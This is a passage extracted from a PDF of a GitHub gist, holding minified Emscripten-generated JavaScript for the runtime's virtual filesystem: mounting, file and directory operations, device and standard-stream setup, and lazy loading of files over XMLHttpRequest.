lookup.path; node = lookup.node; if\r\n(FS.isMountpoint(node)) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } if (!FS.isDir(node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENOTDIR) } } var mount = { type: type, opts: opts, mountpoint: mountpoint, mounts: []\r\n}; var mountRoot = type.mount(mount); mountRoot.mount = mount; mount.root = mountRoot; if (root) { FS.root =\r\nmountRoot } else if (node) { node.mounted = mount; if (node.mount) { node.mount.mounts.push(mount) } } return\r\nmountRoot }), unmount: (function(mountpoint) { var lookup = FS.lookupPath(mountpoint, { follow_mount: !1 }); if\r\n(!FS.isMountpoint(lookup.node)) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var node = lookup.node; var\r\nmount = node.mounted; var mounts = FS.getMounts(mount); Object.keys(FS.nameTable).forEach((function(hash) { var\r\ncurrent = FS.nameTable[hash]; while (current) { var next = current.name_next; if (mounts.indexOf(current.mount) !== -1) {\r\nFS.destroyNode(current) } current = next } })); node.mounted = null; var idx = node.mount.mounts.indexOf(mount);\r\nassert(idx !== -1); node.mount.mounts.splice(idx, 1) }), lookup: (function(parent, name) { return\r\nparent.node_ops.lookup(parent, name) }), mknod: (function(path, mode, dev) { var lookup = FS.lookupPath(path, { parent:\r\n!0 }); var parent = lookup.node; var name = PATH.basename(path); if (!name || name === \".\" || name === \"..\") { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } var err = FS.mayCreate(parent, name); if (err) { throw new FS.ErrnoError(err)\r\n} if (!parent.node_ops.mknod) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } return\r\nparent.node_ops.mknod(parent, name, mode, dev) }), create: (function(path, mode) { mode = mode !== undefined ? mode :\r\n438; mode \u0026= 4095; mode |= 32768; return FS.mknod(path, mode, 0) }), mkdir: (function(path, mode) { mode = mode !==\r\nundefined ? mode : 511; mode \u0026= 511 | 512; mode |= 16384; return FS.mknod(path, mode, 0) }), mkdirTree: (function(path,\r\nmode) { var dirs = path.split(\"/\"); var d = \"\"; for (var i = 0; i \u003c dirs.length; ++i) { if (!dirs[i]) continue; d += \"/\" + dirs[i]; try\r\n{ FS.mkdir(d, mode) } catch (e) { if (e.errno != ERRNO_CODES.EEXIST) throw e } } }), mkdev: (function(path, mode,\r\ndev) { if (typeof dev === \"undefined\") { dev = mode; mode = 438 } mode |= 8192; return FS.mknod(path, mode, dev) }),\r\nsymlink: (function(oldpath, newpath) { if (!PATH.resolve(oldpath)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENOENT) } var lookup = FS.lookupPath(newpath, { parent: !0 }); var parent =\r\nlookup.node; if (!parent) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } var newname =\r\nPATH.basename(newpath); var err = FS.mayCreate(parent, newname); if (err) { throw new FS.ErrnoError(err) } if\r\n(!parent.node_ops.symlink) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } return\r\nparent.node_ops.symlink(parent, newname, oldpath) }), rename: (function(old_path, new_path) { var old_dirname =\r\nPATH.dirname(old_path); var new_dirname = PATH.dirname(new_path); var old_name = PATH.basename(old_path); var\r\nnew_name = PATH.basename(new_path); var lookup, old_dir, new_dir; try { lookup = FS.lookupPath(old_path, { parent: !0\r\n}); old_dir = lookup.node; lookup = FS.lookupPath(new_path, { parent: !0 }); new_dir = lookup.node } catch (e) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.EBUSY) } if (!old_dir || !new_dir) throw new\r\nFS.ErrnoError(ERRNO_CODES.ENOENT); if (old_dir.mount !== new_dir.mount) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EXDEV) } var old_node = FS.lookupNode(old_dir, old_name); var relative =\r\nPATH.relative(old_path, new_dirname); if (relative.charAt(0) !== \".\") { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } relative = PATH.relative(new_path, old_dirname); if (relative.charAt(0) !==\r\n\".\") { throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY) } var new_node; try { new_node =\r\nFS.lookupNode(new_dir, new_name) } catch (e) {} if (old_node === new_node) { return } var isdir =\r\nFS.isDir(old_node.mode); var err = FS.mayDelete(old_dir, old_name, isdir); if (err) { throw new FS.ErrnoError(err) } err =\r\nnew_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name); if (err) { throw new\r\nFS.ErrnoError(err) } if (!old_dir.node_ops.rename) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if\r\n(FS.isMountpoint(old_node) || new_node \u0026\u0026 FS.isMountpoint(new_node)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EBUSY) } if (new_dir !== old_dir) { err = FS.nodePermissions(old_dir, \"w\"); if (err) {\r\nthrow new FS.ErrnoError(err) } } try { if (FS.trackingDelegate.willMovePath) {\r\nFS.trackingDelegate.willMovePath(old_path, new_path) } } catch (e) { console.log(\"FS.trackingDelegate[\\'willMovePath\\']\r\n(\\'\" + old_path + \"\\', \\'\" + new_path + \"\\') threw an exception: \" + e.message) } FS.hashRemoveNode(old_node); try {\r\nold_dir.node_ops.rename(old_node, new_dir, new_name) } catch (e) { throw e } finally { FS.hashAddNode(old_node) } try\r\n{ if (FS.trackingDelegate.onMovePath) FS.trackingDelegate.onMovePath(old_path, new_path) } catch (e) {\r\nconsole.log(\"FS.trackingDelegate[\\'onMovePath\\'](\\'\" + old_path + \"\\', \\'\" + new_path + \"\\') threw an exception: \" +\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 12 of 20\n\ne.message) } }), rmdir: (function(path) { var lookup = FS.lookupPath(path, { parent: !0 }); var parent = lookup.node; var\r\nname = PATH.basename(path); var node = FS.lookupNode(parent, name); var err = FS.mayDelete(parent, name, !0); if (err)\r\n{ throw new FS.ErrnoError(err) } if (!parent.node_ops.rmdir) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if\r\n(FS.isMountpoint(node)) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } try { if\r\n(FS.trackingDelegate.willDeletePath) { FS.trackingDelegate.willDeletePath(path) } } catch (e) {\r\nconsole.log(\"FS.trackingDelegate[\\'willDeletePath\\'](\\'\" + path + \"\\') threw an exception: \" + e.message) }\r\nparent.node_ops.rmdir(parent, name); FS.destroyNode(node); try { if (FS.trackingDelegate.onDeletePath)\r\nFS.trackingDelegate.onDeletePath(path) } catch (e) { console.log(\"FS.trackingDelegate[\\'onDeletePath\\'](\\'\" + path + \"\\')\r\nthrew an exception: \" + e.message) } }), readdir: (function(path) { var lookup = FS.lookupPath(path, { follow: !0 }); var\r\nnode = lookup.node; if (!node.node_ops.readdir) { throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) } return\r\nnode.node_ops.readdir(node) }), unlink: (function(path) { var lookup = FS.lookupPath(path, { parent: !0 }); var parent =\r\nlookup.node; var name = PATH.basename(path); var node = FS.lookupNode(parent, name); var err = FS.mayDelete(parent,\r\nname, !1); if (err) { throw new FS.ErrnoError(err) } if (!parent.node_ops.unlink) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EPERM) } if (FS.isMountpoint(node)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EBUSY) } try { if (FS.trackingDelegate.willDeletePath) {\r\nFS.trackingDelegate.willDeletePath(path) } } catch (e) { console.log(\"FS.trackingDelegate[\\'willDeletePath\\'](\\'\" + path +\r\n\"\\') threw an exception: \" + e.message) } parent.node_ops.unlink(parent, name); FS.destroyNode(node); try { if\r\n(FS.trackingDelegate.onDeletePath) FS.trackingDelegate.onDeletePath(path) } catch (e) {\r\nconsole.log(\"FS.trackingDelegate[\\'onDeletePath\\'](\\'\" + path + \"\\') threw an exception: \" + e.message) } }), readlink:\r\n(function(path) { var lookup = FS.lookupPath(path); var link = lookup.node; if (!link) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENOENT) } if (!link.node_ops.readlink) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link)) }),\r\nstat: (function(path, dontFollow) { var lookup = FS.lookupPath(path, { follow: !dontFollow }); var node = lookup.node; if\r\n(!node) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } if (!node.node_ops.getattr) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EPERM) } return node.node_ops.getattr(node) }), lstat: (function(path) { return\r\nFS.stat(path, !0) }), chmod: (function(path, mode, dontFollow) { var node; if (typeof path === \"string\") { var lookup =\r\nFS.lookupPath(path, { follow: !dontFollow }); node = lookup.node } else { node = path } if (!node.node_ops.setattr) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.EPERM) } node.node_ops.setattr(node, { mode: mode \u0026 4095 | node.mode \u0026 ~4095,\r\ntimestamp: Date.now() }) }), lchmod: (function(path, mode) { FS.chmod(path, mode, !0) }), fchmod: (function(fd, mode) {\r\nvar stream = FS.getStream(fd); if (!stream) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) }\r\nFS.chmod(stream.node, mode) }), chown: (function(path, uid, gid, dontFollow) { var node; if (typeof path === \"string\") {\r\nvar lookup = FS.lookupPath(path, { follow: !dontFollow }); node = lookup.node } else { node = path } if\r\n(!node.node_ops.setattr) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } node.node_ops.setattr(node, {\r\ntimestamp: Date.now() }) }), lchown: (function(path, uid, gid) { FS.chown(path, uid, gid, !0) }), fchown: (function(fd, uid,\r\ngid) { var stream = FS.getStream(fd); if (!stream) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) }\r\nFS.chown(stream.node, uid, gid) }), truncate: (function(path, len) { if (len \u003c 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } var node; if (typeof path === \"string\") { var lookup = FS.lookupPath(path, {\r\nfollow: !0 }); node = lookup.node } else { node = path } if (!node.node_ops.setattr) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EPERM) } if (FS.isDir(node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EISDIR) } if (!FS.isFile(node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } var err = FS.nodePermissions(node, \"w\"); if (err) { throw new\r\nFS.ErrnoError(err) } node.node_ops.setattr(node, { size: len, timestamp: Date.now() }) }), ftruncate: (function(fd, len) { var\r\nstream = FS.getStream(fd); if (!stream) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } if ((stream.flags \u0026\r\n2097155) === 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } FS.truncate(stream.node, len) }), utime:\r\n(function(path, atime, mtime) { var lookup = FS.lookupPath(path, { follow: !0 }); var node = lookup.node;\r\nnode.node_ops.setattr(node, { timestamp: Math.max(atime, mtime) }) }), open: (function(path, flags, mode, fd_start,\r\nfd_end) { if (path === \"\") { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } flags = typeof flags === \"string\" ?\r\nFS.modeStringToFlags(flags) : flags; mode = typeof mode === \"undefined\" ? 438 : mode; if (flags \u0026 64) { mode = mode \u0026\r\n4095 | 32768 } else { mode = 0 } var node; if (typeof path === \"object\") { node = path } else { path =\r\nPATH.normalize(path); try { var lookup = FS.lookupPath(path, { follow: !(flags \u0026 131072) }); node = lookup.node } catch\r\n(e) {} } var created = !1; if (flags \u0026 64) { if (node) { if (flags \u0026 128) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EEXIST) } } else { node = FS.mknod(path, mode, 0); created = !0 } } if (!node) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.ENOENT) } if (FS.isChrdev(node.mode)) { flags \u0026= ~512 } if (flags \u0026 65536 \u0026\u0026\r\n!FS.isDir(node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) } if (!created) { var err =\r\nFS.mayOpen(node, flags); if (err) { throw new FS.ErrnoError(err) } } if (flags \u0026 512) { FS.truncate(node, 0) } flags \u0026= ~\r\n(128 | 512); var stream = FS.createStream({ node: node, path: FS.getPath(node), flags: flags, seekable: !0, position: 0,\r\nstream_ops: node.stream_ops, ungotten: [], error: !1 }, fd_start, fd_end); if (stream.stream_ops.open) {\r\nstream.stream_ops.open(stream) } if (Module.logReadFiles \u0026\u0026 !(flags \u0026 1)) { if (!FS.readFiles) FS.readFiles = {}; if (!\r\n(path in FS.readFiles)) { FS.readFiles[path] = 1; Module.printErr(\"read file: \" + path) } } try { if\r\n(FS.trackingDelegate.onOpenFile) { var trackingFlags = 0; if ((flags \u0026 2097155) !== 1) { trackingFlags |=\r\nFS.tracking.openFlags.READ } if ((flags \u0026 2097155) !== 0) { trackingFlags |= FS.tracking.openFlags.WRITE }\r\nFS.trackingDelegate.onOpenFile(path, trackingFlags) } } catch (e) { console.log(\"FS.trackingDelegate[\\'onOpenFile\\'](\\'\" +\r\npath + \"\\', flags) threw an exception: \" + e.message) } return stream }), close: (function(stream) { if (stream.getdents)\r\nstream.getdents = null; try { if (stream.stream_ops.close) { stream.stream_ops.close(stream) } } catch (e) { throw e } finally\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 13 of 20\n\n{ FS.closeStream(stream.fd) } }), llseek: (function(stream, offset, whence) { if (!stream.seekable ||\r\n!stream.stream_ops.llseek) { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) } stream.position =\r\nstream.stream_ops.llseek(stream, offset, whence); stream.ungotten = []; return stream.position }), read: (function(stream,\r\nbuffer, offset, length, position) { if (length \u003c 0 || position \u003c 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } if\r\n((stream.flags \u0026 2097155) === 1) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } if\r\n(FS.isDir(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.EISDIR) } if (!stream.stream_ops.read) {\r\nthrow new FS.ErrnoError(ERRNO_CODES.EINVAL) } var seeking = !0; if (typeof position === \"undefined\") { position =\r\nstream.position; seeking = !1 } else if (!stream.seekable) { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) } var\r\nbytesRead = stream.stream_ops.read(stream, buffer, offset, length, position); if (!seeking) stream.position += bytesRead;\r\nreturn bytesRead }), write: (function(stream, buffer, offset, length, position, canOwn) { if (length \u003c 0 || position \u003c 0) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.EINVAL) } if ((stream.flags \u0026 2097155) === 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EBADF) } if (FS.isDir(stream.node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EISDIR) } if (!stream.stream_ops.write) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } if (stream.flags \u0026 1024) { FS.llseek(stream, 0, 2) } var seeking = !0; if (typeof\r\nposition === \"undefined\") { position = stream.position; seeking = !1 } else if (!stream.seekable) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ESPIPE) } var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length,\r\nposition, canOwn); if (!seeking) stream.position += bytesWritten; try { if (stream.path \u0026\u0026\r\nFS.trackingDelegate.onWriteToFile) FS.trackingDelegate.onWriteToFile(stream.path) } catch (e) {\r\nconsole.log(\"FS.trackingDelegate[\\'onWriteToFile\\'](\\'\" + path + \"\\') threw an exception: \" + e.message) } return\r\nbytesWritten }), allocate: (function(stream, offset, length) { if (offset \u003c 0 || length \u003c= 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EINVAL) } if ((stream.flags \u0026 2097155) === 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EBADF) } if (!FS.isFile(stream.node.mode) \u0026\u0026 !FS.isDir(stream.node.mode)) { throw\r\nnew FS.ErrnoError(ERRNO_CODES.ENODEV) } if (!stream.stream_ops.allocate) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EOPNOTSUPP) } stream.stream_ops.allocate(stream, offset, length) }), mmap:\r\n(function(stream, buffer, offset, length, position, prot, flags) { if ((stream.flags \u0026 2097155) === 1) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EACCES) } if (!stream.stream_ops.mmap) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENODEV) } return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot,\r\nflags) }), msync: (function(stream, buffer, offset, length, mmapFlags) { if (!stream || !stream.stream_ops.msync) { return 0 }\r\nreturn stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags) }), munmap: (function(stream) { return 0 }),\r\nioctl: (function(stream, cmd, arg) { if (!stream.stream_ops.ioctl) { throw new FS.ErrnoError(ERRNO_CODES.ENOTTY) }\r\nreturn stream.stream_ops.ioctl(stream, cmd, arg) }), readFile: (function(path, opts) { opts = opts || {}; opts.flags = opts.flags\r\n|| \"r\"; opts.encoding = opts.encoding || \"binary\"; if (opts.encoding !== \"utf8\" \u0026\u0026 opts.encoding !== \"binary\") { throw new\r\nError('Invalid encoding type \"\\'+opts.encoding+\\'\"') } var ret; var stream = FS.open(path, opts.flags); var stat = FS.stat(path);\r\nvar length = stat.size; var buf = new Uint8Array(length); FS.read(stream, buf, 0, length, 0); if (opts.encoding === \"utf8\") {\r\nret = UTF8ArrayToString(buf, 0) } else if (opts.encoding === \"binary\") { ret = buf } FS.close(stream); return ret }),\r\nwriteFile: (function(path, data, opts) { opts = opts || {}; opts.flags = opts.flags || \"w\"; opts.encoding = opts.encoding || \"utf8\";\r\nif (opts.encoding !== \"utf8\" \u0026\u0026 opts.encoding !== \"binary\") { throw new Error('Invalid encoding type\r\n\"\\'+opts.encoding+\\'\"') } var stream = FS.open(path, opts.flags, opts.mode); if (opts.encoding === \"utf8\") { var buf = new\r\nUint8Array(lengthBytesUTF8(data) + 1); var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length);\r\nFS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn) } else if (opts.encoding === \"binary\") { FS.write(stream, data, 0,\r\ndata.length, 0, opts.canOwn) } FS.close(stream) }), cwd: (function() { return FS.currentPath }), chdir: (function(path) { var\r\nlookup = FS.lookupPath(path, { follow: !0 }); if (lookup.node === null) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENOENT) } if (!FS.isDir(lookup.node.mode)) { throw new\r\nFS.ErrnoError(ERRNO_CODES.ENOTDIR) } var err = FS.nodePermissions(lookup.node, \"x\"); if (err) { throw new\r\nFS.ErrnoError(err) } FS.currentPath = lookup.path }), createDefaultDirectories: (function() { FS.mkdir(\"/tmp\");\r\nFS.mkdir(\"/home\"); FS.mkdir(\"/home/web_user\") }), createDefaultDevices: (function() { FS.mkdir(\"/dev\");\r\nFS.registerDevice(FS.makedev(1, 3), { read: (function() { return 0 }), write: (function(stream, buffer, offset, length, pos) {\r\nreturn length }) }); FS.mkdev(\"/dev/null\", FS.makedev(1, 3)); TTY.register(FS.makedev(5, 0), TTY.default_tty_ops);\r\nTTY.register(FS.makedev(6, 0), TTY.default_tty1_ops); FS.mkdev(\"/dev/tty\", FS.makedev(5, 0)); FS.mkdev(\"/dev/tty1\",\r\nFS.makedev(6, 0)); var random_device; if (typeof crypto !== \"undefined\") { var randomBuffer = new Uint8Array(1);\r\nrandom_device = (function() { crypto.getRandomValues(randomBuffer); return randomBuffer[0] }) } else if\r\n(ENVIRONMENT_IS_NODE) { random_device = (function() { return require(\"crypto\").randomBytes(1)[0] }) } else {\r\nrandom_device = (function() { return Math.random() * 256 | 0 }) } FS.createDevice(\"/dev\", \"random\", random_device);\r\nFS.createDevice(\"/dev\", \"urandom\", random_device); FS.mkdir(\"/dev/shm\"); FS.mkdir(\"/dev/shm/tmp\") }),\r\ncreateSpecialDirectories: (function() { FS.mkdir(\"/proc\"); FS.mkdir(\"/proc/self\"); FS.mkdir(\"/proc/self/fd\"); FS.mount({\r\nmount: (function() { var node = FS.createNode(\"/proc/self\", \"fd\", 16384 | 511, 73); node.node_ops = { lookup:\r\n(function(parent, name) { var fd = +name; var stream = FS.getStream(fd); if (!stream) throw new\r\nFS.ErrnoError(ERRNO_CODES.EBADF); var ret = { parent: null, mount: { mountpoint: \"fake\" }, node_ops: { readlink:\r\n(function() { return stream.path }) } }; ret.parent = ret; return ret }) }; return node }) }, {}, \"/proc/self/fd\") }),\r\ncreateStandardStreams: (function() { if (Module.stdin) { FS.createDevice(\"/dev\", \"stdin\", Module.stdin) } else {\r\nFS.symlink(\"/dev/tty\", \"/dev/stdin\") } if (Module.stdout) { FS.createDevice(\"/dev\", \"stdout\", null, Module.stdout) } else {\r\nFS.symlink(\"/dev/tty\", \"/dev/stdout\") } if (Module.stderr) { FS.createDevice(\"/dev\", \"stderr\", null, Module.stderr) } else {\r\nFS.symlink(\"/dev/tty1\", \"/dev/stderr\") } var stdin = FS.open(\"/dev/stdin\", \"r\"); assert(stdin.fd === 0, \"invalid handle for\r\nstdin (\" + stdin.fd + \")\"); var stdout = FS.open(\"/dev/stdout\", \"w\"); assert(stdout.fd === 1, \"invalid handle for stdout (\" +\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 14 of 20\n\nstdout.fd + \")\"); var stderr = FS.open(\"/dev/stderr\", \"w\"); assert(stderr.fd === 2, \"invalid handle for stderr (\" + stderr.fd +\r\n\")\") }), ensureErrnoError: (function() { if (FS.ErrnoError) return; FS.ErrnoError = function ErrnoError(errno, node) {\r\nthis.node = node; this.setErrno = (function(errno) { this.errno = errno; for (var key in ERRNO_CODES) { if\r\n(ERRNO_CODES[key] === errno) { this.code = key; break } } }); this.setErrno(errno); this.message =\r\nERRNO_MESSAGES[errno] }; FS.ErrnoError.prototype = new Error; FS.ErrnoError.prototype.constructor =\r\nFS.ErrnoError; [ERRNO_CODES.ENOENT].forEach((function(code) { FS.genericErrors[code] = new\r\nFS.ErrnoError(code); FS.genericErrors[code].stack = \"\u003cgeneric error, no stack\u003e\" })) }), staticInit: (function() {\r\nFS.ensureErrnoError(); FS.nameTable = new Array(4096); FS.mount(MEMFS, {}, \"/\"); FS.createDefaultDirectories();\r\nFS.createDefaultDevices(); FS.createSpecialDirectories(); FS.filesystems = { \"MEMFS\": MEMFS, \"IDBFS\": IDBFS,\r\n\"NODEFS\": NODEFS, \"WORKERFS\": WORKERFS } }), init: (function(input, output, error) { assert(!FS.init.initialized,\r\n\"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one\r\nis automatically added to the generated code)\"); FS.init.initialized = !0; FS.ensureErrnoError(); Module.stdin = input ||\r\nModule.stdin; Module.stdout = output || Module.stdout; Module.stderr = error || Module.stderr; FS.createStandardStreams()\r\n}), quit: (function() { FS.init.initialized = !1; var fflush = Module._fflush; if (fflush) fflush(0); for (var i = 0; i \u003c\r\nFS.streams.length; i++) { var stream = FS.streams[i]; if (!stream) { continue } FS.close(stream) } }), getMode:\r\n(function(canRead, canWrite) { var mode = 0; if (canRead) mode |= 292 | 73; if (canWrite) mode |= 146; return mode }),\r\njoinPath: (function(parts, forceRelative) { var path = PATH.join.apply(null, parts); if (forceRelative \u0026\u0026 path[0] == \"/\") path\r\n= path.substr(1); return path }), absolutePath: (function(relative, base) { return PATH.resolve(base, relative) }),\r\nstandardizePath: (function(path) { return PATH.normalize(path) }), findObject: (function(path, dontResolveLastLink) { var\r\nret = FS.analyzePath(path, dontResolveLastLink); if (ret.exists) { return ret.object } else { ___setErrNo(ret.error); return\r\nnull } }), analyzePath: (function(path, dontResolveLastLink) { try { var lookup = FS.lookupPath(path, { follow:\r\n!dontResolveLastLink }); path = lookup.path } catch (e) {} var ret = { isRoot: !1, exists: !1, error: 0, name: null, path: null,\r\nobject: null, parentExists: !1, parentPath: null, parentObject: null }; try { var lookup = FS.lookupPath(path, { parent: !0 });\r\nret.parentExists = !0; ret.parentPath = lookup.path; ret.parentObject = lookup.node; ret.name = PATH.basename(path);\r\nlookup = FS.lookupPath(path, { follow: !dontResolveLastLink }); ret.exists = !0; ret.path = lookup.path; ret.object =\r\nlookup.node; ret.name = lookup.node.name; ret.isRoot = lookup.path === \"/\" } catch (e) { ret.error = e.errno } return ret }),\r\ncreateFolder: (function(parent, name, canRead, canWrite) { var path = PATH.join2(typeof parent === \"string\" ? parent :\r\nFS.getPath(parent), name); var mode = FS.getMode(canRead, canWrite); return FS.mkdir(path, mode) }), createPath:\r\n(function(parent, path, canRead, canWrite) { parent = typeof parent === \"string\" ? parent : FS.getPath(parent); var parts =\r\npath.split(\"/\").reverse(); while (parts.length) { var part = parts.pop(); if (!part) continue; var current = PATH.join2(parent,\r\npart); try { FS.mkdir(current) } catch (e) {} parent = current } return current }), createFile: (function(parent, name,\r\nproperties, canRead, canWrite) { var path = PATH.join2(typeof parent === \"string\" ? parent : FS.getPath(parent), name); var\r\nmode = FS.getMode(canRead, canWrite); return FS.create(path, mode) }), createDataFile: (function(parent, name, data,\r\ncanRead, canWrite, canOwn) { var path = name ? PATH.join2(typeof parent === \"string\" ? parent : FS.getPath(parent),\r\nname) : parent; var mode = FS.getMode(canRead, canWrite); var node = FS.create(path, mode); if (data) { if (typeof data\r\n=== \"string\") { var arr = new Array(data.length); for (var i = 0, len = data.length; i \u003c len; ++i) arr[i] = data.charCodeAt(i);\r\ndata = arr } FS.chmod(node, mode | 146); var stream = FS.open(node, \"w\"); FS.write(stream, data, 0, data.length, 0,\r\ncanOwn); FS.close(stream); FS.chmod(node, mode) } return node }), createDevice: (function(parent, name, input, output) {\r\nvar path = PATH.join2(typeof parent === \"string\" ? parent : FS.getPath(parent), name); var mode = FS.getMode(!!input,\r\n!!output); if (!FS.createDevice.major) FS.createDevice.major = 64; var dev = FS.makedev(FS.createDevice.major++, 0);\r\nFS.registerDevice(dev, { open: (function(stream) { stream.seekable = !1 }), close: (function(stream) { if (output \u0026\u0026\r\noutput.buffer \u0026\u0026 output.buffer.length) { output(10) } }), read: (function(stream, buffer, offset, length, pos) { var bytesRead\r\n= 0; for (var i = 0; i \u003c length; i++) { var result; try { result = input() } catch (e) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EIO) } if (result === undefined \u0026\u0026 bytesRead === 0) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EAGAIN) } if (result === null || result === undefined) break; bytesRead++; buffer[offset\r\n+ i] = result } if (bytesRead) { stream.node.timestamp = Date.now() } return bytesRead }), write: (function(stream, buffer,\r\noffset, length, pos) { for (var i = 0; i \u003c length; i++) { try { output(buffer[offset + i]) } catch (e) { throw new\r\nFS.ErrnoError(ERRNO_CODES.EIO) } } if (length) { stream.node.timestamp = Date.now() } return i }) }); return\r\nFS.mkdev(path, mode, dev) }), createLink: (function(parent, name, target, canRead, canWrite) { var path =\r\nPATH.join2(typeof parent === \"string\" ? parent : FS.getPath(parent), name); return FS.symlink(target, path) }),\r\nforceLoadFile: (function(obj) { if (obj.isDevice || obj.isFolder || obj.link || obj.contents) return !0; var success = !0; if (typeof\r\nXMLHttpRequest !== \"undefined\") { throw new Error(\"Lazy loading should have been performed (contents set) in\r\ncreateLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the\r\nmain thread.\") } else if (Module.read) { try { obj.contents = intArrayFromString(Module.read(obj.url), !0); obj.usedBytes =\r\nobj.contents.length } catch (e) { success = !1 } } else { throw new Error(\"Cannot load without read() or XMLHttpRequest.\")\r\n} if (!success) ___setErrNo(ERRNO_CODES.EIO); return success }), createLazyFile: (function(parent, name, url, canRead,\r\ncanWrite) { function LazyUint8Array() { this.lengthKnown = !1; this.chunks = [] } LazyUint8Array.prototype.get =\r\nfunction LazyUint8Array_get(idx) { if (idx \u003e this.length - 1 || idx \u003c 0) { return undefined } var chunkOffset = idx %\r\nthis.chunkSize; var chunkNum = idx / this.chunkSize | 0; return this.getter(chunkNum)[chunkOffset] };\r\nLazyUint8Array.prototype.setDataGetter = function LazyUint8Array_setDataGetter(getter) { this.getter = getter };\r\nLazyUint8Array.prototype.cacheLength = function LazyUint8Array_cacheLength() { var xhr = new XMLHttpRequest;\r\nxhr.open(\"HEAD\", url, !1); xhr.send(null); if (!(xhr.status \u003e= 200 \u0026\u0026 xhr.status \u003c 300 || xhr.status === 304)) throw new\r\nError(\"Couldn\\'t load \" + url + \". Status: \" + xhr.status); var datalength = Number(xhr.getResponseHeader(\"Content-length\")); var header; var hasByteServing = (header = xhr.getResponseHeader(\"Accept-Ranges\")) \u0026\u0026 header === \"bytes\";\r\nhttps://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec\r\nPage 15 of 20\n\nvar usesGzip = (header = xhr.getResponseHeader(\"Content-Encoding\")) \u0026\u0026 header === \"gzip\"; var chunkSize = 1024 *\r\n1024; if (!hasByteServing) chunkSize = datalength; var doXHR = (function(from, to) { if (from \u003e to) throw new\r\nError(\"invalid range (\" + from + \", \" + to + \") or no bytes requested!\"); if (to \u003e datalength - 1) throw new Error(\"only \" +\r\ndatalength + \" bytes available! programmer error!\"); var xhr = new XMLHttpRequest; xhr.open(\"GET\", url, !1); if\r\n(datalength !== chunkSize) xhr.setRequestHeader(\"Range\", \"bytes=\" + from + \"-\" + to); if (typeof Uint8Array !=\r\n\"undefined\") xhr.responseType = \"arraybuffer\"; if (xhr.overrideMimeType) { xhr.overrideMimeType(\"text/plain; charset=x-user-defined\") } xhr.send(null); if (!(xhr.status \u003e= 200 \u0026\u0026 xhr.status \u003c 300 || xhr.status === 304)) throw new\r\nError(\"Couldn\\'t load \" + url + \". Status: \" + xhr.status); if (xhr.response !== undefined) { return new\r\nUint8Array(xhr.response || []) } else { return intArrayFromString(xhr.responseText || \"\", !0) } }); var lazyArray = this;\r\nlazyArray.setDataGetter((function(chunkNum) { var start = chunkNum * chunkSize; var end = (chunkNum + 1) *\r\nchunkSize - 1; end = 